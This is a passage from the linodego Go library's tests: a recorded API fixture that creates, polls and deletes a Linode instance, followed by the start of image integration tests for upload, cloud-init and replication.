1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 15:54:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"linodego-waitforfree","root_pass":"g{d3QP}c9`a]OV222[PI.onJ0m5r.]Z~5W\\@nGg1999y8u2VdDXqA61G''n|Hl''\u0026)","image":"linode/ubuntu22.04"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 60303116, "label": "linodego-waitforfree", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.104.207.226"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "6833df95c5afc7bde87b97a18f8204e6eb2187f8", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "791" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 15:54:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 5, "time_remaining": null, "rate": null, "duration": 15.884423, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 746174537, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "scheduled", "secondary_entity": {"id": 63502734, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 15:55:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 53, "time_remaining": null, "rate": null, "duration": 30.167508, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 746174537, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "scheduled", "secondary_entity": {"id": 63502734, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 15:55:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 59, "time_remaining": null, "rate": null, "duration": 45.16766, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "started", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 746174537, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_boot", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "scheduled", "secondary_entity": {"id": 63502734, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 15:55:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 51.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "finished", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 746174537, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 49, "time_remaining": null, "rate": null, "duration": 60.183488, "action": "linode_boot", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "started", "secondary_entity": {"id": 63502734, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 15:55:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","entity.id":60303116,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 746174533, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 51.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "finished", "secondary_entity": {"id": "linode/ubuntu22.04", "type": "image", "label": "Ubuntu 22.04 LTS", "url": "/v4/images/linode/ubuntu22.04"}, "message": ""}, {"id": 746174537, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 67.0, "action": "linode_boot", "username": "lgarber-dev", "entity": {"label": "linodego-waitforfree", "id": 60303116, "type": "linode", "url": "/v4/linode/instances/60303116"}, "status": "finished", "secondary_entity": {"id": 63502734, "type": "linode_config", "label": "My Ubuntu 22.04 LTS Disk Profile", "url": "/v4/linode/instances/60303116/configs/63502734"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 15:56:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60303116 method: GET response: body: '{"id": 60303116, "label": "linodego-waitforfree", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.104.207.226"], "ipv6": "1234::5678/128", "image": "linode/ubuntu22.04", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": true, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "6833df95c5afc7bde87b97a18f8204e6eb2187f8", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "801" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 15:56:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/60303116 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 15:56:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/images_test.go000066400000000000000000000156331474652371000255560ustar00rootroot00000000000000package integration import ( "bytes" "context" "slices" "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/dnaeon/go-vcr/recorder" . "github.com/linode/linodego" ) // testImageBytes is a minimal Gzipped image. // This is necessary because the API will reject invalid images. var testImageBytes = []byte{ 0x1f, 0x8b, 0x08, 0x08, 0xbd, 0x5c, 0x91, 0x60, 0x00, 0x03, 0x74, 0x65, 0x73, 0x74, 0x2e, 0x69, 0x6d, 0x67, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, } func TestImage_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImage_GetMissing") defer teardown() i, err := client.GetImage(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing image, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing image, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing image, got %v", e.Code) } } func TestImage_GetFound(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImage_GetFound") defer teardown() i, err := client.GetImage(context.Background(), "linode/ubuntu22.04") if i.Created == nil || i.EOL == nil || i.Updated == nil { t.Errorf("Error parsing time, %v, %v, %v", i.Created, i.EOL, i.Updated) } if err != nil { t.Errorf("Error getting image, expected struct, got %v and error %v", i, err) } if i.ID != "linode/ubuntu22.04" { t.Errorf("Expected a specific image, but got a different one %v", i) } } func TestImages_List_smoke(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImages_List") defer teardown() i, err := client.ListImages(context.Background(), nil) if err != nil { t.Errorf("Error listing images, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of images, but got none %v", i) } } func TestImage_Upload(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImage_Upload") defer teardown() image, uploadURL, err := client.CreateImageUpload(context.Background(), ImageCreateUploadOptions{ Region: "us-ord", Label: "linodego-image-test", Description: "An image that does stuff.", }) if err != nil { t.Errorf("Failed to create image upload: %v", err) } defer func() { if err := client.DeleteImage(context.Background(), image.ID); err != nil { t.Errorf("Failed to delete image %s: %v", image.ID, err) } }() if uploadURL == "" { t.Errorf("Expected upload URL, got none") } if _, err := client.WaitForImageStatus(context.Background(), image.ID, ImageStatusPendingUpload, 60); err != nil { t.Errorf("Failed to wait for image pending upload status: %v", err) } // Because this request currently bypasses the recorder, we should only run it when the recorder is recording if testingMode != recorder.ModeReplaying { if err := client.UploadImageToURL(context.Background(), uploadURL, bytes.NewReader(testImageBytes)); err != nil { t.Errorf("failed to upload image: %v", err) } } if _, err := client.WaitForImageStatus(context.Background(), image.ID, ImageStatusAvailable, 240); err != nil { t.Errorf("Failed to wait for image available upload status: %v", err) } } func TestImage_CreateUpload(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImage_CreateUpload") defer teardown() image, uploadURL, err := client.CreateImageUpload(context.Background(), ImageCreateUploadOptions{ Region: getRegionsWithCaps(t, client, []string{"Metadata"})[0], Label: "linodego-image-create-upload", Description: "An image that does stuff.", CloudInit: true, Tags: &[]string{"foo", "bar"}, }) if err != nil { t.Errorf("Failed to create image upload: %v", err) } defer func() { if err := client.DeleteImage(context.Background(), image.ID); err != nil { t.Errorf("Failed to delete image %s: %v", image.ID, err) } }() assertSliceContains(t, image.Capabilities, "cloud-init") if uploadURL == "" { t.Errorf("Expected upload URL, got none") } require.NotNil(t, image.Tags) } func TestImage_CloudInit(t *testing.T) { client, instance, teardown, err := setupInstance( t, "fixtures/TestImage_CloudInit", true, func(client *Client, options *InstanceCreateOptions) { options.Region = getRegionsWithCaps(t, client, []string{"Metadata"})[0] }) if err != nil { t.Fatal(err) } t.Cleanup(teardown) instanceDisks, err := client.ListInstanceDisks( context.Background(), instance.ID, nil, ) if err != nil { t.Fatal(err) } image, err := client.CreateImage(context.Background(), ImageCreateOptions{ DiskID: instanceDisks[0].ID, Label: "linodego-test-cloud-init", CloudInit: true, Tags: &[]string{"test1", "test2"}, }) if err != nil { t.Errorf("Failed to create image: %v", err) } t.Cleanup(func() { if err := client.DeleteImage(context.Background(), image.ID); err != nil { t.Errorf("Failed to delete image %s: %v", image.ID, err) } }) assertSliceContains(t, image.Capabilities, "cloud-init") slices.Sort(image.Tags) require.Equal(t, image.Tags, []string{"test1", "test2"}) } func TestImage_Replicate(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestImage_Replicate") defer teardown() availableRegions := getRegionsWithCapsAndSiteType(t, client, []string{"Object Storage"}, "core") image, uploadURL, err := client.CreateImageUpload(context.Background(), ImageCreateUploadOptions{ Region: availableRegions[1], Label: "linodego-image-replication", Description: "An image that does stuff.", }) if err != nil { t.Errorf("Failed to create image upload: %v", err) } defer func() { if err := client.DeleteImage(context.Background(), image.ID); err != nil { t.Errorf("Failed to delete image %s: %v", image.ID, err) } }() if uploadURL == "" { t.Errorf("Expected upload URL, got none") } if _, err := client.WaitForImageStatus(context.Background(), 